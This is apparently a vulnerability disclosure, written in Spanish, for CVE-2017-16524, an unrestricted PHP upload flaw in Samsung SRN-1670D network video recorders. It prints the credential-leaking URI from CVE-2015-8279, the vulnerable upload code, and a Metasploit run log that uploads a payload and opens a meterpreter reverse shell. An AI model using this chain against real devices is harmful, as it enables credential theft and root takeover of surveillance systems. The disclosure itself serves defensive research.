realistic-security/cve-2017-16524Vulnerabilidad de carga de archivos sin restricciones - Web Viewer 1.0.0.193 en Samsung SRN-1670D
Omar Mezrag - 0xFFFFFF
Grabadores de red Samsung - Web Viewer 1.0.0.193 en Samsung SRN-1670D
Hanwha / Samsung Security - https://www.hanwhasecurity.com/
Vulnerabilidad de carga de archivos sin restricciones
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance
Code execution (ROOT)
network_ssl_upload.php (probado)
network_802_1x1.php (sospechoso)
network_802_1x2.php (sospechoso)
El dispositivo Samsung SRN-1670D con Web Viewer 1.0.0.193 sufre una vulnerabilidad de carga de archivos sin restricciones: 'network_ssl_upload.php' permite a atacantes autenticados remotamente cargar y ejecutar código PHP arbitrario mediante un nombre de archivo con extensión .php, al que luego se accede mediante una petición directa al archivo en el directorio upload/. Para autenticarse en este ataque, se pueden obtener las credenciales de la interfaz web en texto claro aprovechando la vulnerabilidad existente de lectura local de archivos referenciada como CVE-2015-8279, que permite a atacantes remotos leer las credenciales de la interfaz web mediante una petición a la URI:
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw
22 $path = "./upload/";
23 $file = $_FILES[ "attachFile" ];
24 $isApply = ( int )$_POST[ "is_apply" ];
25 $isInstall = ( int )$_POST[ "isInstall" ];
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
27
28 // create socket
29 $N_message = "";
30 $sock = mySocket_create($_is_unix_socket);
31 $connected = mySocket_connect($_is_unix_socket, $sock);
32
33 $loginInfo = new loginInfo();
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
36 if ($connected) {
37 $id = $loginInfo->get_id();
38 $xmlFile = $id.'_config.xml';
39 $N_message = "dummy".nvr_command::DELIM;
40 $N_message .= "userid ".$id.nvr_command::DELIM;
41
42 if ( $isInstall == 1 ) {
43 // File upload ===============================================================
44 if ( $file[ "error" ] 0 ) {
45 $Error = "Error: ".$file[ "error" ];
46 } else {
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
48 }
49 // ===========================================================================
50 }
Módulo de Metasploit: samsung_srv_1670d_upload_exec
msf exploit(samsung_srv_1670d_upload_exec) > show options
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.200 yes The target address.
RPORT 80 yes The target port (TCP).
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.122 yes The listen address
LPORT 4358 yes The listen port
Exploit target:
Id Name
-- ----
0 Samsung SRN-1670D == 1.0.0.193
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.122:4358
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
Posiblemente otros scripts como 'network_802_1x1.php' y 'network_802_1x2.php' estén afectados por la misma vulnerabilidad, pero no los probé.